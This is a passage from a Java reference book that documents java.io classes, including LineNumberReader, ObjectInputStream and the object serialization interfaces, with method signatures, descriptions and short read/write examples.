  public LineNumberReader(Reader in, int sz);
  // Instance Methods
  public int getLineNumber();
  public void mark(int readAheadLimit);
  public int read();
  public int read(char[] cbuf, int off, int len);
  public String readLine();
  public void reset();
  public void setLineNumber(int lineNumber);
  public long skip(long n);
}

Constructors

LineNumberReader

public LineNumberReader(Reader in)

Parameters

in

The reader to use.

Description

This constructor creates a LineNumberReader that gets its data from in and uses a default sized buffer. The default buffer size for BufferedReader is 8192 characters.

public LineNumberReader(Reader in, int sz)

Parameters

in

The reader to use.

sz

The buffer size.

Description

This constructor creates a LineNumberReader that gets its data from in and uses a buffer of the given size.

Instance Methods

getLineNumber

public int getLineNumber()

Returns

The current line number.

Description

This method returns the current line number.

mark

public void mark(int readAheadLimit) throws IOException

Parameters

readAheadLimit

The maximum number of characters that can be read before the saved position becomes invalid.

Throws

IOException

If any kind of I/O error occurs.

Overrides

BufferedReader.mark()

Description

This method causes the LineNumberReader to remember its current position. A subsequent call to reset() causes the object to return to that saved position and thus reread a portion of the input.

read

public int read() throws IOException

Returns

The next character of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

BufferedReader.read()

Description

This method reads a character of input from the underlying reader. If "\n", "\r", or "\r\n" is read from the stream, "\n" is returned. Otherwise the character read from the underlying BufferedReader is returned verbatim. The method blocks until it reads the character, the end of stream is encountered, or an exception is thrown.

public int read(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to be filled from the stream.

off

An offset into the array.

len

The number of characters to read.

Returns

The actual number of characters read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

BufferedReader.read(char[], int, int)

Description

This method reads up to len characters of input into the given array starting at index off. This method, unlike read(), returns end-of-line characters exactly as they come from the underlying BufferedReader. The method blocks until data is available.

readLine

public String readLine() throws IOException

Returns

A String containing the line just read, or null if the end of the stream has been reached.

Throws

IOException

If any kind of I/O error occurs.

Overrides

BufferedReader.readLine()

Description

This method reads a line of text. Lines are terminated by "\n", "\r", or "\r\n". The line terminators are not returned with the line string.

reset

public void reset() throws IOException

Throws

IOException

If the reader is closed, mark() has not been called, or the saved position has been invalidated.

Overrides

BufferedReader.reset()

Description

This method sets the position of the reader to a position that was saved by a previous call to mark(). Subsequent characters read from this reader will begin from the saved position and continue normally. The method also restores the line number to its correct value for the mark location.

setLineNumber

public void setLineNumber(int lineNumber)

Parameters

lineNumber

The new line number.

Description

This method sets the current line number of the LineNumberReader. The method does not change the position of the reader.

skip

public long skip(long n) throws IOException

Parameters

n

The number of characters to skip.

Returns

The actual number of bytes skipped.

Throws

IOException

If any kind of I/O error occurs.

Overrides

BufferedReader.skip()

Description

This method skips n characters of input.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | BufferedReader
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
markSupported() | BufferedReader | read(char[]) | Reader
ready() | BufferedReader | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

BufferedReader, Reader, IOException, LineNumberInputStream

Previous | Home | Next
LineNumberInputStream | Book Index | NotActiveException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] NotActiveException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

NotActiveException

Name

NotActiveException

Synopsis

Class Name:

java.io.NotActiveException

Superclass:

java.io.ObjectStreamException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A NotActiveException is thrown to indicate that an inappropriate method is being called when serialization or deserialization is not in progress.

Class Summary

public class java.io.NotActiveException
             extends java.io.ObjectStreamException {
  // Constructors
  public NotActiveException();
  public NotActiveException(String reason);
}

Constructors

NotActiveException

public NotActiveException()

Description

This constructor creates a NotActiveException with no detail message.

public NotActiveException(String reason)

Parameters

reason

The detail message.

Description

This constructor creates a NotActiveException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, ObjectStreamException, Throwable

Previous | Home | Next
LineNumberReader | Book Index | NotSerializableException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] NotSerializableException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

NotSerializableException

Name

NotSerializableException

Synopsis

Class Name:

java.io.NotSerializableException

Superclass:

java.io.ObjectStreamException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A NotSerializableException is thrown to indicate that a class can't be serialized.

Class Summary

public class java.io.NotSerializableException
             extends java.io.ObjectStreamException {
  // Constructors
  public NotSerializableException();
  public NotSerializableException(String classname);
}

Constructors

NotSerializableException

public NotSerializableException()

Description

This constructor creates a NotSerializableException with no class name.

public NotSerializableException(String classname)

Parameters

classname

The name of the class that can't be serialized.

Description

This constructor creates a NotSerializableException with the specified class name.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, ObjectStreamException, Throwable

Previous | Home | Next
NotActiveException | Book Index | ObjectInput
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] ObjectInput

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

ObjectInput

Name

ObjectInput

Synopsis

Interface Name:

java.io.ObjectInput

Super-interface:

java.io.DataInput

Immediate Sub-interfaces:

None

Implemented By:

java.io.ObjectInputStream

Availability:

New as of JDK 1.1

Description

The ObjectInput interface extends the DataInput interface for object serialization. While DataInput defines methods for reading primitive types from a stream, ObjectInput defines methods for reading objects and arrays of bytes.

Interface Declaration

public abstract interface java.io.ObjectInput extends java.io.DataInput {
  // Methods
  public abstract int available();
  public abstract void close();
  public abstract int read();
  public abstract int read(byte[] b);
  public abstract int read(byte[] b, int off, int len);
  public abstract Object readObject();
  public abstract long skip(long n);
}

Methods

available

public abstract int available() throws IOException

Returns

The number of bytes that can be read without blocking.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the number of bytes that can be read from the stream without accessing a physical device, like a disk or a network.

close

public abstract void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method closes the stream and releases any system resources associated with it.

read

public abstract int read() throws IOException

Returns

The next byte of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the next byte of data from the stream. The method blocks until the byte is read, the end of stream is detected, or an exception is thrown.

public abstract int read(byte[] b) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads bytes from the stream to fill the given array. The method blocks until some data is available.

 public abstract int read(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the array.

len

The number of bytes to read.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads up to len bytes of input into the given array starting at index off. The method blocks until some data is available.

readObject

 public abstract Object readObject() throws ClassNotFoundException, IOException

Returns

An Object that has been deserialized from the stream.

Throws

ClassNotFoundException

If the class of the serialized object cannot be found in the run-time environment.

IOException

If any kind of I/O error occurs.

Description

This method reads and returns an object instance from the stream; in other words, it deserializes an object from the stream. The class that implements this interface determines exactly how the object is to be read.

skip

public abstract long skip(long n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of bytes skipped.

Throws

IOException

If any kind of I/O error occurs.

Description

This method skips n bytes of input.

Inherited Methods

Method | Inherited From | Method | Inherited From
readBoolean() | DataInput | readByte() | DataInput
readChar() | DataInput | readDouble() | DataInput
readFloat(byte[]) | DataInput | readFully(byte[]) | DataInput
readFully(byte[], int, int) | DataInput | readInt() | DataInput
readLine() | DataInput | readLong() | DataInput
readShort() | DataInput | readUnsignedByte() | DataInput
readUnsignedChar() | DataInput | readUTF() | DataInput
skipBytes(int) | DataInput |  |

See Also

DataInput, ObjectInputStream

Previous | Home | Next
NotSerializableException | Book Index | ObjectInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] ObjectInputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

ObjectInputStream

Name

ObjectInputStream

Synopsis

Class Name:

java.io.ObjectInputStream

Superclass:

java.io.InputStream

Immediate Subclasses:

None

Interfaces Implemented:

java.io.ObjectInput

Availability:

New as of JDK 1.1

Description

The ObjectInputStream class can read both primitive types and object instances from an underlying InputStream. The objects and other data must have been written by an ObjectOutputStream. These two classes can provide persistent storage of objects when they are used in conjunction with FileInputStream and FileOutputStream. The classes can also be used with socket streams to pass objects across the network.

Only objects that are instances of classes that implement the Serializable or Externalizable interfaces can be deserialized from an input stream. The default deserialization mechanism is implemented by readObject(). When an object is deserialized, the non-static and non-transient fields of the object are restored to the values they had when the object was serialized, including any other objects referenced by the object (except for those objects that do not implement the Serializable interface themselves). Graphs of objects are restored using a reference sharing mechanism. New object instances are always allocated during the deserialization process, to prevent existing objects from being overwritten. Deserialized objects are returned as instances of type Object, so they should be cast to the appropriate type. Strings and arrays are objects in Java, so they are treated as objects during deserialization.

For example, the following code opens a file called color.ser and reads a Color object:

FileInputStream fileIn;
ObjectInputStream in;
Color color;
try {
    fileIn = new FileInputStream("color.ser");
    in = new ObjectInputStream(fileIn);
    color = (Color)in.readObject();
    in.close();
}
catch (Exception e) {
    System.out.println("Error reading: " + e);
}

Classes that have transient instance variables may require special handling to reconstruct the values of these variables when objects are deserialized. Special handling may also be necessary to correctly deserialize objects that were serialized with a different version of their class than is in use when they are deserialized. Classes that require special handling during serialization and deserialization must implement the following methods (with these exact signatures):

private void readObject(ObjectOutputStream stream)
             throws IOException, ClassNotFoundException
private void writeObject(ObjectOutputStream stream) throws IOException

The writeObject() method is responsible for writing the state of the object for the particular class so that it can be restored by readObject(). The readObject() method registers an object validation callback by calling registerValidation() as its first action. The readObject() method doesn't need to handle reading the state for the object's superclass or any of its subclasses except in the case where the superclass doesn't itself implement the Serializable interface. In this case, the nonserializable class must have a no-argument constructor that can be called to initialize its fields, and it is the responsibility of the subclass to restore the state of its superclass.

A class that inherits the implementation of Serializable prevents itself from being serialized by defining readObject() and writeObject() methods that throw NotSerializableException objects.

If a class needs complete control over the contents and formatting of the serialized form of its objects, it should implement the Externalizable interface.

Class Summary

public class java.io.ObjectInputStream extends java.io.InputStream
             implements java.io.ObjectInput {
  // Constructors
  public ObjectInputStream(InputStream in);
  // Public Instance Methods
  public int available();
  public void close();
  public final void defaultReadObject();
  public int read();
  public int read(byte[] data, int offset, int length);
  public boolean readBoolean();
  public byte readByte();
  public char readChar();
  public double readDouble();
  public float readFloat();
  public void readFully(byte[] data);
  public void readFully(byte[] data, int offset, int size);
  public int readInt();
  public String readLine();
  public long readLong();
  public final Object readObject();
  public short readShort();
  public int readUnsignedByte();
  public int readUnsignedShort();
  public String readUTF();
  public synchronized void
         registerValidation(ObjectInputValidation obj, int prio);
  public int skipBytes(int len);
  // Protected Instance Methods
  protected final boolean enableResolveObject(boolean enable);
  protected void readStreamHeader();
  protected Class resolveClass(ObjectStreamClass v);
  protected Object resolveObject(Object obj);
}

Constructors

ObjectInputStream

 public ObjectInputStream(InputStream in) throws IOException, StreamCorruptedException

Parameters

in

The underlying input stream.

Throws

IOException

If any kind of I/O error occurs.

StreamCorruptedException

If the stream header is not correct.

Description

This constructor creates an ObjectInputStream that reads from the given input stream. The constructor attempts to read the stream header, which consists of a magic number and a version number, and if something goes wrong, an appropriate exception is thrown. If all of the bytes of the stream header are not available, the constructor does not return until they become available.

Public Instance Methods

available

public int available() throws IOException

Returns

The number of bytes that can be read without blocking.

Throws

IOException

If any kind of I/O error occurs.

Implements

ObjectInput.available()

Overrides

InputStream.available()

Description

This method returns the number of bytes that can be read without having to wait for more data to become available.

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Implements

ObjectInput.close()

Overrides

InputStream.close()

Description

This method closes the stream and releases any system resources that are associated with it.

defaultReadObject

 public final void defaultReadObject() throws IOException, ClassNotFoundException, NotActiveException

Throws

IOException

If any kind of I/O error occurs.

ClassNotFoundException

If the class of the object being read cannot be found.

NotActiveException

If serialization is not active.

Description

This method reads the fields of the current object that are not static and not transient. The method can only be called from the private readObject() method of an object that is being deserialized; it throws a NotActiveException if it is called at any other time. This method implements the default deserialization mechanism.

read

public int read() throws IOException

Returns

The next byte of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Implements

ObjectInput.read()

Overrides

InputStream.read()

Description

This method reads the next byte from the stream. The method blocks until some data is available, the end of the stream is detected, or an exception is thrown.

 public int read(byte[] data, int offset, int length) throws IOException

Parameters

data

Array of bytes to be filled from the stream.

offset

An offset into the byte array.

length

The number of bytes to read.

Returns

The number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Implements

ObjectInput.read(byte[], int, int)

Overrides

InputStream.read(byte[], int, int)

Description

This method reads up to length bytes of input into the given array starting at index offset. The method blocks until there is some input available.

readBoolean

public boolean readBoolean() throws IOException

Returns

The boolean value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readBoolean()

Description

This method reads a byte as a boolean value from the underlying input stream. A byte that contains a zero is read as false. A byte that contains any other value is read as true. The method blocks until the byte is read, the end of the stream is encountered, or an exception is thrown.

readByte

public byte readByte() throws IOException

Returns

The byte value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readByte()

Description

This method reads a signed 8-bit value, a byte, from the underlying input stream. The method blocks until the byte is read, the end of the stream is encountered, or an exception is thrown.

readChar

public char readChar() throws IOException

Returns

The char value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readChar()

Description

This method reads a 16-bit Unicode character from the stream. The method reads two bytes from the underlying input stream and then creates a char value using the first byte read as the most significant byte. The method blocks until the two bytes are read, the end of the stream is encountered, or an exception is thrown.

readDouble

public double readDouble() throws IOException

Returns

The double value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readDouble()

Description

This method reads a 64-bit double quantity from the stream. The method reads a long value from the underlying input stream as if using the readLong() method. The long value is then converted to a double using the longBitsToDouble() method in Double. The method blocks until the necessary eight bytes are read, the end of the stream is encountered, or an exception is thrown.

readFloat

public float readFloat() throws IOException

Returns

The float value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readFloat()

Description

This method reads a 32-bit float quantity from the stream. The method reads an int value from the underlying input stream as if using the readInt() method. The int value is then converted to a float using the intBitsToFloat() method in Float. The method blocks until the necessary four bytes are read, the end of the stream is encountered, or an exception is thrown.

readFully

public void readFully(byte[] b) throws IOException

Parameters

b

The array to fill.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readFully(byte[])

Description

This method reads bytes into the given array b until the array is full. The method reads repeatedly from the underlying stream to fill the array. The method blocks until all of the bytes are read, the end of the stream is encountered, or an exception is thrown.

 public void readFully(byte[] data, int offset, int size) throws IOException

Parameters

data

The array to fill.

offset

An offset into the array.

length

The number of bytes to read.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readFully(byte[], int, int)

Description

This method reads len bytes into the given array, starting at offset off. The method reads repeatedly from the underlying stream to fill the array. The method blocks until all of the bytes are read, the end of the stream is encountered, or an exception is thrown.

readInt

public int readInt() throws IOException

Returns

The int value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readInt()

Description

This method reads a signed 32-bit int quantity from the stream. The method reads four bytes from the underlying input stream and then creates an int quantity, using the first byte read as the most significant byte. The method blocks until the four bytes are read, the end of the stream is encountered, or an exception is thrown.

readLine

public String readLine() throws IOException

Returns

A String that contains the line read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other I/O error occurs.

Implements

DataInput.readLine()

Description

This method reads the next line of text from the stream. The method reads bytes of data from the underlying input stream until it encounters a line terminator. A line terminator is a carriage return ("\r"), a newline character ("\n"), a carriage return immediately followed by a newline character, or the end of the stream. The method blocks until a line terminator is read, the end of the stream is encountered, or an exception is thrown. Note that this method calls the readLine() method of DataInputStream, which is deprecated in 1.1.

readLong

public long readLong() throws IOException

Returns

The long value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readLong()

Description

This method reads a signed 64-bit long quantity from the stream. The method reads eight bytes from the underlying input stream and then creates a long quantity, using the first byte read as the most significant byte. The method blocks until the eight bytes are read, the end of the stream is encountered, or an exception is thrown.

readObject

 public final Object readObject() throws OptionalDataException, ClassNotFoundException, IOException

Returns

An Object that has been deserialized from the stream.

Throws

ClassNotFoundException

If the object being deserialized has an unrecognized class.

InvalidClassException

If there is a problem with the class of the deserialized object.

StreamCorruptedException

If the stream serialization information is not correct.

OptionalDataException

If the stream contains primitive data instead of an object.

IOException

If any kind of I/O error occurs.

Implements

ObjectInput.readObject()

Description

This method deserializes an object from the stream and returns a reference to the object. The non-static and non-transient fields of the object are restored to the values they had when the object was serialized. If the object contains references to other objects, these objects are also deserialized (as long as they implement the Serializable interface). Graphs of objects are restored using a reference-sharing mechanism. New object instances are always allocated during the deserialization process, to prevent existing objects from being overwritten. Deserialized objects are returned as instances of type Object, so they should be cast to the appropriate type.

Once an object has been completely restored (i.e., all of its fields and any objects it references have been restored), any object validation callbacks for the object or any of the objects it references are called in an order based on their priority. An object validation callback is registered by the private readObject() method for an object.

readShort

public short readShort() throws IOException

Returns

The short value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readShort()

Description

This method reads a signed 16-bit short quantity from the stream. The method reads two bytes from the underlying input stream and then creates a short quantity, using the first byte read as the most significant byte. The method blocks until the two bytes are read, the end of the stream is encountered, or an exception is thrown.

readUnsignedByte

public int readUnsignedByte() throws IOException

Returns

The unsigned byte value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readUnsignedByte()

Description

This method reads an unsigned 8-bit quantity from the stream. The method reads a byte from the underlying input stream and returns that byte. The method blocks until the byte is read, the end of the stream is encountered, or an exception is thrown.

readUnsignedShort

public int readUnsignedShort() throws IOException

Returns

The unsigned short value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readUnsignedShort()

Description

This method reads an unsigned 16-bit quantity from the stream. The method reads two bytes from the underlying input stream and creates an unsigned short quantity using the first byte read as the most significant byte. The method blocks until the two bytes are read, the end of the stream is encountered, or an exception is thrown.

readUTF

public String readUTF() throws IOException

Returns

The String read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

UTFDataFormatException

If the bytes do not represent a valid UTF-8 encoding.

Implements

DataInput.readUTF()

Description

This method reads a UTF-8 encoded string from the stream. See the description of DataInputStream.readUTF(DataInput) for more information.

registerValidation

 public synchronized void registerValidation( ObjectInputValidation obj, int prio) throws NotActiveException, InvalidObjectException

Parameters

obj

The object requesting validation.

prio

The priority of the validation callback; use zero as a default.

Throws

NotActiveException

If serialization is not active.

InvalidObjectException

If obj is null.

Description

This method may be called from an object's private readObject() method to register a validation callback. An object performs internal validation by implementing the ObjectInputValidation interface and registering itself with the ObjectInputStream via this function. When ObjectInputStream has completely deserialized an object (i.e., restored all of its fields and any objects it references), the stream calls ObjectInputValidation.validateObject() for every object that has an object validation callback. Objects that register with higher priority values get validated before objects that register with lower priority values. Within a priority value, the callbacks are not processed in any particular order.

skipBytes

public int skipBytes(int len) throws IOException

Parameters

len

The number of bytes to skip.

Returns

The actual number of skipped bytes.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind I/O error occurs.

Implements

DataInput.skipBytes()

Description

This method skips over n bytes in the underlying input stream. The method blocks until all of the bytes are skipped, the end of the stream is encountered, or an exception is thrown.

Protected Instance Methods

enableResolveObject

 protected final boolean enableResolveObject(boolean enable) throws SecurityException

Parameters

enable

A boolean value that specifies whether or not object replacement is enabled.

Returns

true if object replacement was previously enabled; false otherwise.

Throws

SecurityException

If enable is true and getClassLoader() called on the class of the stream does not return null.

Description

This method determines if a trusted subclass of ObjectInputStream is allowed to replace deserialized objects. If the method is called with true, object replacement is enabled. Each time an object is deserialized, resolveObject() is called to give the ObjectInputStream a chance to replace the object. A trusted stream is one whose class has no ClassLoader.

readStreamHeader

 protected void readStreamHeader() throws IOException, StreamCorruptedException

Throws

StreamCorruptedException

If the stream header is not correct.

IOException

If any kind of I/O error occurs.

Description

This method attempts to read the stream header, which consists of a magic number and a version number. If something goes wrong, an appropriate exception is thrown. This method is called by the constructor for ObjectInputStream and is the source of the exceptions it throws. If you subclass ObjectInputStream, you can override this method to provide your own stream header checking.

resolveClass

 protected Class resolveClass(ObjectStreamClass v) throws IOException, ClassNotFoundException

Parameters

v

The ObjectStreamClass to be resolved.

Returns

The Class that corresponds to the given ObjectStreamClass.

Throws

ClassNotFoundException

If the class of the given ObjectStreamClass cannot be found.

IOException

If any kind of I/O error occurs.

Description

This method attempts to find the Class object that corresponds to the supplied ObjectStreamClass. When a object is deserialized, its class information is read into an ObjectStreamClass object, which is then resolved to a Class if possible. Subclasses of ObjectInputStream can override this method to allow classes to be fetched from alternate sources. The version of the ObjectStreamClass and the Class must match.

resolveObject

protected Object resolveObject(Object obj) throws IOException

Parameters

obj

The object to be replaced.

Returns

A replacement for the given object.

Throws

IOException

If any kind of I/O error occurs.

Description

If object replacement is enabled for this ObjectInputStream (see enableResolveObject()), this method is called with each deserialized object to give the stream a chance to replace the object. In ObjectInputStream, this method simply returns the object that was passed to it. Subclasses can override this method to provide more useful functionality.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | mark() | InputStream
markSupported() | InputStream | notify() | Object
notifyAll() | Object | read(byte[]) | InputStream
reset() | InputStream | skip(long n) | InputStream
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, ClassNotFoundException, DataInput, Double, EOFException, Externalizable, Float, InputStream, InvalidClassException, IOException, NotActiveException, ObjectInput, ObjectInputValidation, ObjectOuputStream, ObjectStreamClass, OptionalDataException, SecurityException, Serializable, StreamCorruptedException, String, UTFDataFormatException

Previous | Home | Next
ObjectInput | Book Index | ObjectInputValidation
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] ObjectInputValidation

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

ObjectInputValidation

Name

ObjectInputValidation

Synopsis

Interface Name:

java.io.ObjectInputValidation

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented By:

None

Availability:

New as of JDK 1.1

Description

The ObjectInputValidation interface defines a callback for object validation. A class implements this interface if it needs to validate deserialized objects. A class that needs to perform object validation on deserialized instances should pass a validation object to ObjectInputStream.registerValidation() at the beginning of its private readObject() method. When an object of that class is deserialized, the validateObject() method in the validation object is called. If the method is satisfied with the state of the deserialized object, it returns quietly; otherwise it should throw an InvalidObjectException.

The simplest case is to have a class do its own validation by implementing ObjectInputValidation itself and passing this to the registerValidation() method. For example, the following code fragment shows how to register for validation in readObject(). The validateObject() method always throws an exception:

public class ValidateMe
    implements Serializable, ObjectInputValidation {
    private void readObject(ObjectInputStream in)
                 throws IOException, ClassNotFoundException {
        in.registerValidation(this, 0);
        in.defaultReadObject();
    }
    public void validateObject() throws InvalidObjectException {
        // if (this object is not valid)
            throw new InvalidObjectException("Object not valid!");
    }
...
}

Interface Declaration

public abstract interface java.io.ObjectInputValidation {
  // Methods
  public abstract void validateObject();
}

Methods

validateObject

public void validateObject() throws InvalidObjectException

Throws

InvalidObjectException

If the method is not satisfied with its state.

Description

This method allows an object to check its own validity. An InvalidObjectException should be thrown if anything is invalid.

See Also

ObjectInput, ObjectInputStream

Previous | Home | Next
ObjectInputStream | Book Index | ObjectOutput
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] ObjectOutput

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

ObjectOutput

Name

ObjectOutput

Synopsis

Interface Name:

java.io.ObjectOutput

Super-interface:

java.io.DataOutput

Immediate Sub-interfaces:

None

Implemented By:

java.io.ObjectOutputStream

Availability:

New as of JDK 1.1

Description

The ObjectOutput interface extends the DataOutput interface for object serialization. While DataOutput defines methods for reading primitive types from a stream, ObjectOutput defines methods for writing objects and arrays of bytes.

Interface Declaration

public abstract interface java.io.ObjectOutput extends java.io.DataOutput {
  // Methods
  public abstract void close();
  public abstract void flush();
  public abstract void write(int b);
  public abstract void write(byte[] b);
  public abstract void write(byte[] b, int off, int len);
  public abstract void writeObject(Object obj);
}

Methods

close

public abstract void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method closes the stream and releases any system resources associated with it.

flush

public abstract void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

If the stream uses a buffer, this method forces any bytes that may be buffered by the output stream to be written to the underlying physical device.

write

public abstract void write(int b) throws IOException

Parameters

b

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

DataOutput.write(int)

Description

This method writes the lowest eight bits of the given integer b to the stream.

public abstract void write(byte[] b) throws IOException

Parameters

b

An array of bytes to write to the stream.

Throws

IOException

If any kind of I/O error occurs.

Overrides

DataOutput.write(byte[])

Description

This method writes all of the 8-bit bytes in the given array to the stream.

 public abstract void write(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

DataOutput.write(byte[], int, int)

Description

This method writes len bytes from the given array, starting off elements from the beginning of the array, to the stream.

writeObject

public abstract void writeObject(Object obj) throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the given object to the stream, or in other words, it serializes an object to the stream. The class that implements this interface determines how the object is written.

Inherited Methods

Method | Inherited From | Method | Inherited From
writeBoolean(boolean) | DataOutput | writeByte(int) | DataOutput
writeBytes(String) | DataOutput | writeChar(int) | DataOutput
writeChars(String) | DataOutput | writeDouble(double) | DataOutput
writeFloat(float) | DataOutput | writeInt(int) | DataOutput
writeLong(long) | DataOutput | writeShort(int) | DataOutput
writeUTF(String) | DataOutput |  |

See Also

DataOutput, ObjectOutputStream

Previous | Home | Next
ObjectInputValidation | Book Index | ObjectOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] ObjectOutputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

ObjectOutputStream

Name

ObjectOutputStream

Synopsis

Class Name:

java.io.ObjectOutputStream

Superclass:

java.io.OutputStream

Immediate Subclasses:

None

Interfaces Implemented:

java.io.ObjectOutput

Availability:

New as of JDK 1.1

Description

The ObjectOutputStream class can write both primitive types and object instances to an underlying OutputStream. The objects and other data can then be read by an ObjectInputStream. These two classes provide persistent storage of objects when they are used in conjunction with FileInputStream and FileOutputStream. The classes can also be used with socket streams to pass objects across the network.

Only objects that are instances of classes that implement the Serializable or Externalizable interfaces can be serialized to an output stream. The default serialization mechanism is implemented by writeObject(). When an object is serialized, the class of the object is encoded, along with the class name, the signature of the class, the values of the non-static and non-transient fields of the object, including any other objects referenced by the object (except those that do not implement the Serializable interface themselves). Multiple references to the same object are encoded using a reference sharing mechanism, so that a graph of the object can be restored appropriately. Strings and arrays are objects in Java, so they are treated as objects during serialization.

For example, the following code opens a file called color.ser and writes out a Color object:

FileOutputStream fileOut;
ObjectOutputStream out;
try {
    fileOut = new FileOutputStream("color.ser");
    out = new ObjectOutputStream(fileOut);
    out.writeObject(Color.blue);
    out.close();
}
catch (IOException e) {
    System.out.println("Error writing: " + e);
}

Classes that require special handling during serialization and deserialization must implement the following methods (with these exact signatures):

private void readObject(ObjectOutputStream stream)
             throws IOException, ClassNotFoundException
private void writeObject(ObjectOutputStream stream) throws IOException

The writeObject() method is responsible for writing the state of the object for the particular class so that it can be restored by readObject(). The writeObject() method does not need to handle writing the state for the object's superclass or any of its subclasses except in the case where the superclass does not itself implement the Serializable interface. In this case, the nonserializable class must have a no-argument constructor that can be called to initialize its fields, and it is the responsibility of the subclass to save the state of its superclass.

A class that inherits the implementation of Serializable prevents itself from being serialized by defining readObject() and writeObject() methods that throw NotSerializableException objects.

If a class needs complete control over the contents and formatting of the serialized form of its objects, it should implement the Externalizable interface.

Class Summary

public class java.io.ObjectOutputStream extends java.io.OutputStream
             implements java.io.ObjectOutput {
  // Constructors
  public ObjectOutputStream(OutputStream out);
  // Instance Methods
  public void close();
  public final void defaultWriteObject();
  public void flush();
  public void reset();
  public void write(int data);
